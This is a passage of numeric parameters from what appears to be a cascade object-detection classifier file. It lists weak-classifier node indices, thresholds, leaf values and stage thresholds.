-2.6300218701362610e-01 2.6706520467996597e-02 + -2.9245018959045410e-01 4.0641939640045166e-01 + <_> + + 1 0 1947 -5.0016207387670875e-04 -1 2 1948 + -1.5453010564669967e-03 -2 -3 1949 1.9056679448112845e-03 + + -1.1965669691562653e-01 -4.2565101385116577e-01 + 2.9724061489105225e-01 -4.7963049262762070e-02 + <_> + + 0 1 1950 7.2636879049241543e-03 2 -1 1951 + 1.9141070079058409e-03 -2 -3 1952 1.2875479296781123e-04 + + -6.4583316445350647e-02 -3.5147330164909363e-01 + 1.1196230351924896e-01 5.7284992933273315e-01 + <_> + + 0 1 1953 -1.0092630051076412e-02 -1 2 1954 + -7.8368087997660041e-04 -2 -3 1955 -9.8703950643539429e-03 + + -3.7826448678970337e-01 2.3288239538669586e-01 + 2.1510779857635498e-01 -1.2697519361972809e-01 + <_> + + 0 1 1956 -1.0650960030034184e-03 -1 2 1957 + 8.5762650996912271e-05 -2 -3 1958 8.1163638969883323e-04 + + -3.2178428769111633e-01 -8.8832110166549683e-02 + 3.0365571379661560e-01 -8.3779007196426392e-02 + <_> + + 0 1 1959 -4.8947618342936039e-03 2 -1 1960 + 5.5883510503917933e-04 -2 -3 1961 -1.9008320523425937e-03 + + 1.6282820701599121e-01 -2.5395259261131287e-01 + -1.3888220489025116e-01 2.9919460415840149e-01 + <_> + + 1 2 1962 -2.0215269178152084e-03 0 -1 1963 + -4.4383360072970390e-03 -2 -3 1964 6.8489909172058105e-02 + + 3.9251059293746948e-01 -4.3069578707218170e-02 + 2.4472021032124758e-03 -2.9618039727210999e-01 + <_> + + 1 0 1965 5.0306279212236404e-02 2 -1 1966 + -5.6435600854456425e-03 -2 -3 1967 -8.9875478297472000e-03 + + 4.2249730229377747e-01 -9.2901676893234253e-02 + 6.6785961389541626e-01 6.2985196709632874e-02 + <_> + + 1 2 1968 -7.9090101644396782e-04 0 -1 1969 + -2.5300959125161171e-02 -2 -3 1970 7.8745762584730983e-04 + + 3.0849850177764893e-01 -6.3608251512050629e-02 + -1.4883120357990265e-01 2.6234000921249390e-01 + <_> + + 1 0 1971 7.6404176652431488e-02 -1 2 1972 + -7.9231243580579758e-03 -2 -3 1973 1.9256339874118567e-03 + + -4.5977321267127991e-01 -3.9364838600158691e-01 + -6.4516498241573572e-04 2.8573459386825562e-01 + <_> + + 1 0 1974 3.3896900713443756e-03 -1 2 1975 + 2.6566439191810787e-04 -2 -3 1976 -7.0364158600568771e-03 + + -4.1618600487709045e-01 8.7239697575569153e-02 + 5.4902660846710205e-01 -3.1658211350440979e-01 + <_> + + 1 0 1977 2.7734860777854919e-02 -1 2 1978 + 3.3155460841953754e-03 -2 -3 1979 5.4807748645544052e-02 + + 3.5683360695838928e-01 2.0545400679111481e-02 + -3.7979850172996521e-01 8.2199662923812866e-01 + <_> + + 0 1 1980 -3.1911249971017241e-04 -1 2 1981 + -2.3244849580805749e-04 -2 -3 1982 2.4389199912548065e-02 + + 2.3498380184173584e-01 1.5976969897747040e-01 + -1.6952790319919586e-01 3.8837739825248718e-01 + <_> + + 1 0 1983 3.7521280348300934e-02 -1 2 1984 + 5.3981738165020943e-04 -2 -3 1985 -1.1914219940081239e-03 + + -5.3004390001296997e-01 -9.2949196696281433e-02 + 2.5772979855537415e-01 -1.2804870307445526e-01 + <_> + + 0 1 1986 -1.9628699868917465e-02 2 -1 1987 + -2.6430340949445963e-03 -2 -3 1988 -1.0492499917745590e-02 + + -4.5749071240425110e-01 -6.6639073193073273e-02 + 3.7817710638046265e-01 -7.0677888579666615e-03 + <_> + + 1 0 1989 -8.1244978355243802e-04 2 -1 1990 + 1.4308369718492031e-02 -2 -3 1991 -2.6346129016019404e-04 + + 7.1544222533702850e-02 -4.6973049640655518e-01 + 3.2926559448242188e-01 -2.3322540521621704e-01 + <_> + + 1 0 1992 9.5907926559448242e-02 -1 2 1993 + -1.2872040271759033e-01 -2 -3 1994 -3.1911451369524002e-02 + + 9.9990457296371460e-01 5.7599371671676636e-01 + -7.3348528146743774e-01 -1.8063450232148170e-02 + <_> + + 1 2 1995 3.7128551048226655e-04 0 -1 1996 + -2.8491979464888573e-03 -2 -3 1997 -4.2754760943353176e-04 + + -5.4329651594161987e-01 1.0755009949207306e-01 + 2.2071920335292816e-01 -2.6160699129104614e-01 + <_> + + 1 2 1998 9.7452866612002254e-05 0 -1 1999 + 5.2659702487289906e-04 -2 -3 2000 5.9415772557258606e-04 + + -2.0488780736923218e-01 3.1935650110244751e-01 + 1.5211449563503265e-01 -2.8799989819526672e-01 + <_> + + 0 1 2001 -2.1307960560079664e-04 -1 2 2002 + -1.2103560147807002e-03 -2 -3 2003 1.2572610285133123e-03 + + 1.5206280350685120e-01 -2.3918260633945465e-01 + 3.7353378534317017e-01 -8.1597693264484406e-02 + <_> + 46 + -1.0940879583358765e+00 + + <_> + + 1 2 2004 -3.1007960438728333e-02 0 -1 2005 + -3.1969440169632435e-03 -2 -3 2006 -2.0676921121776104e-03 + + 6.8854278326034546e-01 -5.4836649447679520e-02 + -3.5974439978599548e-01 -3.0973760411143303e-02 + <_> + + 1 0 2007 -1.1122719943523407e-01 2 -1 2008 + 1.4844049699604511e-02 -2 -3 2009 -3.4631208982318640e-03 + + -1.5703879296779633e-01 -2.0413580536842346e-01 + 6.6245990991592407e-01 1.5534339845180511e-01 + <_> + + 0 1 2010 -1.2320470064878464e-01 2 -1 2011 + 1.1103290133178234e-02 -2 -3 2012 4.7404197975993156e-03 + + -5.2760660648345947e-01 -4.7932231426239014e-01 + -1.0074780136346817e-01 1.6249769926071167e-01 + <_> + + 1 2 2013 -5.8416109532117844e-03 0 -1 2014 + -5.1666028797626495e-02 -2 -3 2015 -3.9447061717510223e-03 + + -3.7591809034347534e-01 3.7338769435882568e-01 + 2.4347339570522308e-01 -1.4522999525070190e-01 + <_> + + 0 1 2016 -3.6320939660072327e-02 -1 2 2017 + 3.7123491056263447e-03 -2 -3 2018 -2.8242779895663261e-02 + + -3.6804199218750000e-01 1.0094779729843140e-01 + 4.2476901412010193e-01 -4.3828350305557251e-01 + <_> + + 1 2 2019 -2.0250169560313225e-02 0 -1 2020 + 3.0780840665102005e-02 -2 -3 2021 2.5205970741808414e-03 + + 1.6355019807815552e-01 -6.3770228624343872e-01 + -1.9899259507656097e-01 3.1258741021156311e-01 + <_> + + 0 1 2022 -4.2486261576414108e-02 2 -1 2023 + 3.0256640166044235e-02 -2 -3 2024 1.2559810420498252e-03 + + -6.1104768514633179e-01 7.7699762582778931e-01 + 6.8223267793655396e-02 -1.8402789533138275e-01 + <_> + + 0 1 2025 -1.8111230805516243e-02 2 -1 2026 + -7.0966721978038549e-04 -2 -3 2027 2.0517550874501467e-03 + + 3.7390831112861633e-01 7.1673221886157990e-02 + -2.3723709583282471e-01 4.2304378747940063e-01 + <_> + + 0 1 2028 -6.6939830780029297e-02 -1 2 2029 + -8.4355175495147705e-03 -2 -3 2030 -7.6646007597446442e-02 + + -6.4464849233627319e-01 -5.9667718410491943e-01 + -3.5360890626907349e-01 7.6701030135154724e-02 + <_> + + 0 1 2031 -1.8152770353481174e-03 -1 2 2032 + -2.7247369289398193e-03 -2 -3 2033 -5.4963980801403522e-04 + + 1.7099569737911224e-01 1.6262990236282349e-01 + -4.4764471054077148e-01 -7.4255913496017456e-02 + <_> + + 0 1 2034 -4.1336409747600555e-02 -1 2 2035 + -1.2627179920673370e-01 -2 -3 2036 -4.9632410518825054e-03 + + -3.0079290270805359e-01 -2.1949230134487152e-01 + 3.1715381145477295e-01 1.6522889956831932e-02 + <_> + + 0 1 2037 -6.8255789577960968e-02 2 -1 2038 + 1.7256699502468109e-02 -2 -3 2039 1.8318969523534179e-03 + + 3.7629279494285583e-01 6.0703051090240479e-01 + 4.4839300215244293e-02 -1.8284620344638824e-01 + <_> + + 1 0 2040 6.2703560106456280e-03 2 -1 2041 + 6.4142688643187284e-04 -2 -3 2042 -1.2087869690731168e-03 + + 1.5012329816818237e-01 -2.4387939274311066e-01 + -9.6486136317253113e-02 4.5252281427383423e-01 + <_> + + 1 2 2043 -1.3087630271911621e-02 0 -1 2044 + -2.0685649942606688e-03 -2 -3 2045 -9.9608547985553741e-02 + + 3.4508320689201355e-01 -4.1232489049434662e-02 + -5.4945659637451172e-01 -5.1996659487485886e-02 + <_> + + 1 2 2046 -3.6486559547483921e-03 0 -1 2047 + -2.8182850219309330e-03 -2 -3 2048 5.5368460714817047e-02 + + -3.3460721373558044e-01 1.5438309311866760e-01 + -2.0008920133113861e-01 2.6830759644508362e-01 + <_> + + 0 1 2049 -7.4223391711711884e-03 2 -1 2050 + -4.4916807673871517e-03 -2 -3 2051 -6.0621831566095352e-02 + + -2.5990688800811768e-01 9.8559968173503876e-02 + -3.5481810569763184e-01 4.1711899638175964e-01 + <_> + + 1 2 2052 2.3197410337161273e-04 0 -1 2053 + -2.6323291240260005e-04 -2 -3 2054 1.8173559510614723e-04 + + 1.1800730228424072e-01 -1.8469020724296570e-01 + 3.3645889163017273e-01 -1.6443650424480438e-01 + <_> + + 1 2 2055 -4.3080520117655396e-04 0 -1 2056 + 8.4635447710752487e-03 -2 -3 2057 3.2700230367481709e-03 + + -3.5056531429290771e-01 3.3979919552803040e-01 + -1.9305050373077393e-01 1.0525429993867874e-01 + <_> + + 2 1 2058 1.2329599820077419e-02 0 -1 2059 + 3.2368130632676184e-04 -2 -3 2060 -7.1359151042997837e-03 + + -7.0782758295536041e-02 4.2691200971603394e-01 + 2.4507419764995575e-01 -1.1304569989442825e-01 + <_> + + 0 1 2061 -3.8914520293474197e-02 2 -1 2062 + 6.6584121668711305e-04 -2 -3 2063 -9.3276530969887972e-04 + + -4.1401219367980957e-01 -1.2954230606555939e-01 + -2.8715679422020912e-02 2.9640379548072815e-01 + <_> + + 2 1 2064 9.1005821013823152e-04 0 -1 2065 + 7.4173710308969021e-03 -2 -3 2066 -5.9348379727452993e-04 + + 1.5225520357489586e-02 5.1878088712692261e-01 + 6.3158690929412842e-02 -1.6790659725666046e-01 + <_> + + 0 1 2067 -1.6713090008124709e-03 2 -1 2068 + -3.2247399212792516e-04 -2 -3 2069 -3.3846818841993809e-03 + + 1.8846319615840912e-01 -2.2796130180358887e-01 + 3.0563241243362427e-01 -8.1067040562629700e-02 + <_> + + 1 0 2070 9.5189079642295837e-02 2 -1 2071 + 9.7679207101464272e-04 -2 -3 2072 -1.0893770307302475e-01 + + 1.9821229577064514e-01 1.4671079814434052e-01 + -6.9909930229187012e-01 -1.1488740146160126e-01 + <_> + + 1 2 2073 -1.7448779195547104e-02 0 -1 2074 + -9.9434393632691354e-05 -2 -3 2075 6.4250029623508453e-02 + + 2.4062860012054443e-01 -8.9487351477146149e-02 + -1.7152050137519836e-01 5.1314127445220947e-01 + <_> + + 1 0 2076 5.9518171474337578e-03 -1 2 2077 + -9.0886192629113793e-04 -2 -3 2078 -5.1080051343888044e-04 + + 2.3301599919795990e-01 5.8810569345951080e-02 + -5.0240808725357056e-01 -8.0962918698787689e-02 + <_> + + 0 1 2079 -1.5467169694602489e-02 2 -1 2080 + 2.3221820592880249e-02 -2 -3 2081 3.9248089888133109e-04 + + -4.4010490179061890e-01 5.1546990871429443e-01 + -5.2290290594100952e-02 2.1555709838867188e-01 + <_> + + 0 1 2082 -1.1872940231114626e-03 -1 2 2083 + -1.1692909756675363e-03 -2 -3 2084 -1.8374159699305892e-03 + + 2.8682470321655273e-01 3.9871171116828918e-01 + -2.4273440241813660e-01 2.5974079966545105e-02 + <_> + + 0 1 2085 -3.9783148095011711e-03 2 -1 2086 + -4.7793678822927177e-04 -2 -3 2087 5.3964089602231979e-04 + + -2.5224199891090393e-01 1.0499279946088791e-01 + -4.1497600078582764e-01 1.0635569691658020e-01 + <_> + + 0 1 2088 -4.2262359056621790e-04 -1 2 2089 + -1.0138460248708725e-01 -2 -3 2090 -9.2142065986990929e-03 + + 2.1089179813861847e-01 -9.3101882934570312e-01 + -8.2452338933944702e-01 -2.4682279676198959e-02 + <_> + + 1 0 2091 4.3104309588670731e-02 -1 2 2092 + -5.3224200382828712e-03 -2 -3 2093 3.7746389862149954e-03 + + 9.0424752235412598e-01 -2.7320840954780579e-01 + -2.9543019831180573e-02 2.7356389164924622e-01 + <_> + + 1 0 2094 2.3850500583648682e-02 -1 2 2095 + -8.8544972240924835e-03 -2 -3 2096 -1.3691160082817078e-01 + + -5.1007378101348877e-01 4.8890089988708496e-01 + -5.5362242460250854e-01 2.5062739849090576e-02 + <_> + + 0 1 2097 -2.5274729356169701e-02 2 -1 2098 + 2.6481070090085268e-03 -2 -3 2099 -2.0161429711151868e-04 + + -7.3669922351837158e-01 2.6283189654350281e-01 + -2.4148160219192505e-01 5.1645949482917786e-02 + <_> + + 0 1 2100 -1.1898370459675789e-02 -1 2 2101 + -1.9360600272193551e-03 -2 -3 2102 2.1037699189037085e-03 + + -6.3804662227630615e-01 3.9121028780937195e-01 + -5.2923560142517090e-02 2.3925469815731049e-01 + <_> + + 0 1 2103 -1.3646620325744152e-02 -1 2 2104 + -8.8408291339874268e-03 -2 -3 2105 3.7220980972051620e-02 + + 4.5531919598579407e-01 -5.2776831388473511e-01 + -5.2423689514398575e-02 2.1479150652885437e-01 + <_> + + 1 2 2106 -4.2580282315611839e-03 0 -1 2107 + -4.6129771508276463e-03 -2 -3 2108 5.9317899867892265e-03 + + -5.8091402053833008e-01 9.2666886746883392e-02 + -6.7499437136575580e-04 3.6766529083251953e-01 + <_> + + 1 0 2109 9.4187082722783089e-03 -1 2 2110 + -4.1941772215068340e-03 -2 -3 2111 5.1073678769171238e-03 + + -6.1342322826385498e-01 -3.8310700654983521e-01 + 6.7254997789859772e-02 -3.9773949980735779e-01 + <_> + + 1 0 2112 -5.5304579436779022e-03 2 -1 2113 + -6.0295849107205868e-04 -2 -3 2114 -7.0414398796856403e-03 + + -1.2926359474658966e-01 1.8724639713764191e-01 + 4.7651541233062744e-01 -2.3238509893417358e-01 + <_> + + 1 0 2115 -1.3096419861540198e-03 2 -1 2116 + 3.2035118783824146e-04 -2 -3 2117 -3.3677490428090096e-03 + + -8.3683609962463379e-02 4.4803410768508911e-01 + 2.6184868812561035e-01 -2.1176619827747345e-01 + <_> + + 0 1 2118 -1.3419929891824722e-02 2 -1 2119 + 4.5043388381600380e-03 -2 -3 2120 -7.8677892452105880e-04 + + -5.1725488901138306e-01 -2.4854829907417297e-01 + 2.2026860713958740e-01 -2.9989460483193398e-02 + <_> + + 0 1 2121 -4.0467849373817444e-01 -1 2 2122 + -1.6472050547599792e-01 -2 -3 2123 -4.3211959302425385e-02 + + -8.6876207590103149e-01 -2.6331049203872681e-01 + -1.2996859848499298e-01 1.2739099562168121e-01 + <_> + + 0 1 2124 -1.7417479539290071e-03 2 -1 2125 + -8.3949731197208166e-04 -2 -3 2126 1.5101189492270350e-03 + + 8.2801252603530884e-02 -3.8465818762779236e-01 + 1.3933099806308746e-01 -3.5602769255638123e-01 + <_> + + 1 0 2127 3.6241519264876842e-03 2 -1 2128 + 1.6943299851845950e-04 -2 -3 2129 -5.5435068905353546e-02 + + 2.3847030103206635e-01 5.6582901626825333e-02 + 8.5272318124771118e-01 -1.9084540009498596e-01 + <_> + + 1 0 2130 -2.3511620238423347e-02 2 -1 2131 + -2.2539960627909750e-04 -2 -3 2132 1.6610369086265564e-02 + + -1.3226120173931122e-01 -2.0941901020705700e-03 + 4.0792500972747803e-01 -2.9247689247131348e-01 + <_> + + 0 1 2133 -6.3177421689033508e-03 -1 2 2134 + 8.5653591668233275e-04 -2 -3 2135 -1.1638339608907700e-02 + + 2.4937899410724640e-01 -1.5689609944820404e-01 + 4.2693111300468445e-01 -1.3493919745087624e-02 + <_> + + 0 1 2136 -5.1630330272018909e-03 2 -1 2137 + 4.8902099952101707e-03 -2 -3 2138 -2.9903270304203033e-02 + + 2.8233599662780762e-01 -2.2749769687652588e-01 + -3.1318700313568115e-01 7.2451077401638031e-02 + <_> + + 1 0 2139 3.1764109735377133e-04 -1 2 2140 + 5.2735407371073961e-04 -2 -3 2141 3.4350980422459543e-04 + + -1.3494649529457092e-01 -9.4839558005332947e-02 + -2.8737118840217590e-01 2.6408618688583374e-01 + <_> + 47 + -1.1282010078430176e+00 + + <_> + + 0 1 2142 2.0928289741277695e-03 2 -1 2143 + -2.0667549222707748e-02 -2 -3 2144 4.1186730377376080e-03 + + -2.4059830605983734e-01 -8.3949699997901917e-02 + 7.5294119119644165e-01 -2.5010040402412415e-01 + <_> + + 2 1 2145 -7.7038057148456573e-02 0 -1 2146 + 6.8526387214660645e-02 -2 -3 2147 -9.1197844594717026e-03 + + -1.6047920286655426e-01 5.8060508966445923e-01 + 4.0888330340385437e-01 -2.3711539804935455e-02 + <_> + + 2 1 2148 3.8453419692814350e-03 0 -1 2149 + -4.0648199617862701e-02 -2 -3 2150 -3.5154789686203003e-02 + + -3.6227381229400635e-01 2.8189870715141296e-01 + -6.3932722806930542e-01 -8.8311180472373962e-02 + <_> + + 1 0 2151 1.7193749547004700e-02 -1 2 2152 + -3.1834539026021957e-02 -2 -3 2153 5.9677828103303909e-03 + + 2.1619839966297150e-01 -6.1106377840042114e-01 + -1.3163220137357712e-03 -6.7810398340225220e-01 + <_> + + 0 1 2154 1.7432730237487704e-04 -1 2 2155 + -1.0427909903228283e-02 -2 -3 2156 -1.4324070070870221e-04 + + -1.6660380363464355e-01 3.0099079012870789e-01 + -3.6957770586013794e-01 7.5943082571029663e-02 + <_> + + 1 0 2157 -1.0312269441783428e-03 -1 2 2158 + -8.9528188109397888e-03 -2 -3 2159 5.4365568794310093e-03 + + -8.3984650671482086e-02 3.3358749747276306e-01 + -2.5666850805282593e-01 3.6911809444427490e-01 + <_> + + 1 0 2160 2.0321870688349009e-03 2 -1 2161 + 1.9954480230808258e-03 -2 -3 2162 1.6922239214181900e-02 + + -1.1628130078315735e-01 -2.2477209568023682e-01 + 3.6504098773002625e-01 1.8671670928597450e-02 + <_> + + 1 2 2163 -1.4152450021356344e-03 0 -1 2164 + 8.0416322452947497e-04 -2 -3 2165 6.2191791832447052e-02 + + -4.4372379779815674e-02 2.6297140121459961e-01 + -1.4997449517250061e-01 5.6759977340698242e-01 + <_> + + 0 1 2166 -4.4721928425133228e-03 -1 2 2167 + -1.9247440621256828e-02 -2 -3 2168 5.2884127944707870e-03 + + -2.9525101184844971e-01 -7.0941370725631714e-01 + 4.9494709819555283e-03 3.6569160223007202e-01 + <_> + + 1 0 2169 9.1529808938503265e-02 -1 2 2170 + -3.9309188723564148e-02 -2 -3 2171 -6.9177672266960144e-02 + + -4.7588708996772766e-01 -4.9558719992637634e-01 + 7.8180468082427979e-01 3.5177771002054214e-02 + <_> + + 1 0 2172 1.9501270726323128e-02 -1 2 2173 + -5.4460992105305195e-03 -2 -3 2174 1.0495989583432674e-02 + + 4.5107740163803101e-01 9.5154292881488800e-02 + -1.6815499961376190e-01 5.1015657186508179e-01 + <_> + + 1 0 2175 5.7117962278425694e-03 -1 2 2176 + -2.7439638972282410e-01 -2 -3 2177 -4.5373341999948025e-03 + + -7.4655741453170776e-01 -6.0310351848602295e-01 + 2.3245190083980560e-01 -4.1262548416852951e-02 + <_> + + 1 0 2178 4.7711891238577664e-04 -1 2 2179 + -6.9821202196180820e-03 -2 -3 2180 -1.0556570291519165e+00 + + -1.5402629971504211e-01 -5.2603191137313843e-01 + -5.0477248430252075e-01 1.4896139502525330e-01 + <_> + + 0 1 2181 -1.7868630588054657e-01 -1 2 2182 + 9.6028903499245644e-05 -2 -3 2183 1.4864769764244556e-03 + + 6.1333847045898438e-01 -1.2570370733737946e-01 + 1.5855489671230316e-01 -3.2419750094413757e-01 + <_> + + 2 1 2184 -2.7532540843822062e-04 0 -1 2185 + 1.9395699491724372e-03 -2 -3 2186 -3.0006670858711004e-03 + + 2.2301700711250305e-01 -1.4492830634117126e-01 + 2.5364619493484497e-01 -1.9060049951076508e-01 + <_> + + 2 1 2187 2.6949180755764246e-03 0 -1 2188 + -2.7354890480637550e-02 -2 -3 2189 -2.6278549805283546e-02 + + -6.9697231054306030e-01 2.6986810564994812e-01 + 8.3400028944015503e-01 -8.1475183367729187e-02 + <_> + + 0 1 2190 -1.1615309631451964e-03 -1 2 2191 + -7.9284235835075378e-03 -2 -3 2192 -4.0769609622657299e-03 + + 9.9186070263385773e-02 2.9844290018081665e-01 + 1.1436840146780014e-01 -3.5259690880775452e-01 + <_> + + 2 1 2193 1.3272130163386464e-03 0 -1 2194 + 9.6542192623019218e-03 -2 -3 2195 -1.8561830511316657e-03 + + 1.8691679835319519e-01 -3.3289530873298645e-01 + -4.8549610376358032e-01 -4.0883861482143402e-02 + <_> + + 1 0 2196 8.5922293365001678e-02 -1 2 2197 + -8.8873326778411865e-02 -2 -3 2198 -2.7235411107540131e-03 + + 3.6382618546485901e-01 -3.3766660094261169e-01 + 2.4199460446834564e-01 -4.2081810534000397e-02 + <_> + + 0 1 2199 -1.3049770146608353e-02 2 -1 2200 + -3.2052190508693457e-03 -2 -3 2201 -3.4975090529769659e-03 + + -3.0092039704322815e-01 -1.0076750069856644e-01 + -4.0278410911560059e-01 1.7511740326881409e-01 + <_> + + 1 2 2202 3.6366239655762911e-03 0 -1 2203 + -1.1586080305278301e-02 -2 -3 2204 3.9760980871506035e-04 + + 1.7796489596366882e-01 -1.6348969936370850e-01 + 6.7020449787378311e-03 4.4130641222000122e-01 + <_> + + 0 1 2205 -2.5880750268697739e-02 2 -1 2206 + 1.0445900261402130e-03 -2 -3 2207 -4.7445381060242653e-03 + + 6.0719907283782959e-01 -3.2216680049896240e-01 + 1.8654330074787140e-01 -5.8600809425115585e-02 + <_> + + 1 0 2208 7.0085371844470501e-03 -1 2 2209 + -7.0238402113318443e-03 -2 -3 2210 8.1113204360008240e-03 + + 3.1219249963760376e-01 -4.7851589322090149e-01 + -1.1469169706106186e-01 1.4005890488624573e-01 + <_> + + 1 2 2211 -4.0908880531787872e-02 0 -1 2212 + 6.7115128040313721e-03 -2 -3 2213 4.7661857679486275e-03 + + 1.1935690045356750e-01 -4.9553608894348145e-01 + 2.9291590908542275e-04 3.0523601174354553e-01 + <_> + + 2 1 2214 8.2969013601541519e-03 0 -1 2215 + -1.4058559900149703e-03 -2 -3 2216 3.8165580481290817e-03 + + 3.8395699858665466e-01 -5.8064288459718227e-03 + 8.5270447016227990e-05 -3.1768730282783508e-01 + <_> + + 0 1 2217 -1.5988849103450775e-02 2 -1 2218 + -4.2525809258222580e-02 -2 -3 2219 1.0341469943523407e-01 + + 5.8605968952178955e-01 1.5200969763100147e-02 + -4.2698180675506592e-01 9.1076821088790894e-01 + <_> + + 1 0 2220 1.5279020590241998e-04 -1 2 2221 + 4.4353670091368258e-04 -2 -3 2222 -2.1845809533260763e-04 + + -1.8349540233612061e-01 1.8386720120906830e-01 + -3.0458870530128479e-01 9.6679449081420898e-02 + <_> + + 0 1 2223 -6.9333161227405071e-03 2 -1 2224 + 2.6824630796909332e-02 -2 -3 2225 2.8827119618654251e-02 + + 1.9829869270324707e-01 5.7704108953475952e-01 + -1.3593469560146332e-01 1.8093059957027435e-01 + <_> + + 1 0 2226 3.4493818879127502e-02 -1 2 2227 + -3.9107841439545155e-03 -2 -3 2228 2.0955900254193693e-04 + + 2.7782711386680603e-01 1.0099980235099792e-01 + -1.6889050602912903e-02 -3.4672379493713379e-01 + <_> + + 1 2 2229 -1.1503810063004494e-02 0 -1 2230 + -5.8503649197518826e-03 -2 -3 2231 -1.9477239402476698e-04 + + 2.9069650173187256e-01 -5.7935047149658203e-01 + -1.5547400712966919e-01 8.7707668542861938e-02 + <_> + + 1 2 2232 -2.4192599812522531e-04 0 -1 2233 + -8.7722227908670902e-04 -2 -3 2234 -8.8649448007345200e-03 + + -4.9958980083465576e-01 2.2867499291896820e-01 + 1.4817740023136139e-01 -1.4039020240306854e-01 + <_> + + 1 0 2235 6.6976482048630714e-03 2 -1 2236 + 1.6602370305918157e-04 -2 -3 2237 5.6860040873289108e-02 + + -1.7738009989261627e-01 2.5650730729103088e-01 + 1.7361199483275414e-02 -7.4021261930465698e-01 + <_> + + 1 0 2238 2.4098889902234077e-02 2 -1 2239 + 8.0347352195531130e-04 -2 -3 2240 6.9724403321743011e-02 + + -5.3940677642822266e-01 1.4385139942169189e-01 + -1.0675229877233505e-01 5.4217422008514404e-01 + <_> + + 1 0 2241 9.0714782709255815e-04 -1 2 2242 + -7.3141716711688787e-05 -2 -3 2243 -1.5573799610137939e-03 + + 2.4376200139522552e-01 7.3325037956237793e-02 + 4.9846198409795761e-02 -3.1094640493392944e-01 + <_> + + 0 1 2244 -1.3867990113794804e-02 -1 2 2245 + 1.1202249443158507e-03 -2 -3 2246 -3.7206329405307770e-02 + + -6.6426891088485718e-01 7.0658437907695770e-02 + 4.2091751098632812e-01 -2.5585201382637024e-01 + <_> + + 1 2 2247 -4.2576639680191875e-04 0 -1 2248 + 5.4934259504079819e-02 -2 -3 2249 9.6833100542426109e-04 + + -3.0530530214309692e-01 2.7118149399757385e-01 + -6.7041292786598206e-02 1.7276880145072937e-01 + <_> + + 0 1 2250 7.9393703490495682e-03 -1 2 2251 + 5.0757948309183121e-02 -2 -3 2252 -3.2133560627698898e-02 + + -5.3697269409894943e-02 4.0109890699386597e-01 + 4.3551141023635864e-01 -4.1936281323432922e-01 + <_> + + 1 0 2253 9.9633932113647461e-02 -1 2 2254 + -4.5324079692363739e-03 -2 -3 2255 7.6392642222344875e-04 + + -6.1999887228012085e-01 1.6984449326992035e-01 + 1.0533300042152405e-01 -2.1900549530982971e-01 + <_> + + 1 0 2256 -1.3120270334184170e-02 2 -1 2257 + -1.2095270212739706e-03 -2 -3 2258 -6.0685798525810242e-03 + + -5.1372468471527100e-02 -1.2173540145158768e-01 + -3.2418820261955261e-01 6.5560877323150635e-01 + <_> + + 0 1 2259 -4.4329889118671417e-02 -1 2 2260 + -1.1334549635648727e-02 -2 -3 2261 -9.7028171876445413e-04 + + -2.6503491401672363e-01 -7.6205557584762573e-01 + -9.5501512289047241e-02 1.5263360738754272e-01 + <_> + + 0 1 2262 -8.4918709471821785e-03 -1 2 2263 + -6.9846503436565399e-02 -2 -3 2264 9.2466361820697784e-02 + + 1.9973739981651306e-01 3.1325021386146545e-01 + -1.1733359843492508e-01 7.7850347757339478e-01 + <_> + + 0 1 2265 -9.5799759030342102e-02 2 -1 2266 + 5.1276460289955139e-03 -2 -3 2267 6.1059608124196529e-03 + + 7.8442037105560303e-01 1.5389220416545868e-01 + -1.3577620685100555e-01 2.1575249731540680e-01 + <_> + + 2 1 2268 -5.5722601246088743e-04 0 -1 2269 + 5.2772291004657745e-02 -2 -3 2270 -3.7010889500379562e-03 + + -1.3534410297870636e-01 2.9378059506416321e-01 + -1.7292410135269165e-01 2.3805269598960876e-01 + <_> + + 1 0 2271 -1.3051830464974046e-03 -1 2 2272 + -4.0903348475694656e-02 -2 -3 2273 -6.3687269575893879e-03 + + -5.5020369589328766e-02 -3.0940970778465271e-01 + 6.5783101320266724e-01 9.2643633484840393e-02 + <_> + + 2 1 2274 1.4673050027340651e-03 0 -1 2275 + 5.3080540150403976e-02 -2 -3 2276 4.5696222223341465e-03 + + 1.1342869699001312e-01 -3.8801661133766174e-01 + 8.7235711514949799e-02 -5.5333012342453003e-01 + <_> + + 2 1 2277 2.7171480469405651e-03 0 -1 2278 + -7.5547560118138790e-03 -2 -3 2279 2.1428259788081050e-04 + + 4.6386051177978516e-01 2.2095510736107826e-02 + -1.7482960224151611e-01 1.6784119606018066e-01 + <_> + + 1 2 2280 1.1644139885902405e-03 0 -1 2281 + 2.7417868841439486e-03 -2 -3 2282 5.1555588841438293e-02 + + -3.0654639005661011e-01 5.7464569807052612e-02 + 1.3891890645027161e-01 -4.4362550973892212e-01 + <_> + 46 + -1.0841189622879028e+00 + + <_> + + 1 0 2283 -1.9345199689269066e-03 -1 2 2284 + 5.4789008572697639e-03 -2 -3 2285 1.3723999727517366e-03 + + -2.9038429260253906e-01 -4.9600031226873398e-02 + 8.1412100791931152e-01 -4.1888630390167236e-01 + <_> + + 1 2 2286 2.6495110243558884e-02 0 -1 2287 + -1.3697579503059387e-01 -2 -3 2288 -3.0566600617021322e-04 + + 2.4463020265102386e-01 -1.4825659990310669e-01 + 6.5781980752944946e-01 -7.9236596822738647e-02 + <_> + + 0 1 2289 -1.9925139844417572e-02 -1 2 2290 + -1.3427959382534027e-01 -2 -3 2291 -1.0180550161749125e-03 + + -7.2399538755416870e-01 5.6490647792816162e-01 + 1.0791130363941193e-01 -1.4493170380592346e-01 + <_> + + 2 1 2292 -1.6956209437921643e-03 0 -1 2293 + -3.9232008159160614e-02 -2 -3 2294 -1.1985700111836195e-03 + + 2.0442679524421692e-01 -2.2484399378299713e-01 + -9.8312400281429291e-02 2.5217679142951965e-01 + <_> + + 1 0 2295 5.6637298315763474e-02 -1 2 2296 + -1.4088810421526432e-02 -2 -3 2297 1.9742019474506378e-02 + + 4.2156541347503662e-01 -5.4424422979354858e-01 + -4.3038509786128998e-02 3.9660850167274475e-01 + <_> + + 0 1 2298 -3.7790019065141678e-02 -1 2 2299 + -2.1278490126132965e-01 -2 -3 2300 -7.5766840018332005e-04 + + -5.3746891021728516e-01 2.9742780327796936e-01 + -1.7239089310169220e-01 9.4371169805526733e-02 + <_> + + 0 1 2301 1.0515520116314292e-03 -1 2 2302 + -4.6967338770627975e-02 -2 -3 2303 -6.6702580079436302e-03 + + -9.4606198370456696e-02 3.8049909472465515e-01 + -3.6735290288925171e-01 1.8134810030460358e-01 + <_> + + 0 1 2304 -8.8434442877769470e-03 -1 2 2305 + -7.5162857770919800e-02 -2 -3 2306 6.0678281442960724e-05 + + 1.9733619689941406e-01 2.8719368577003479e-01 + 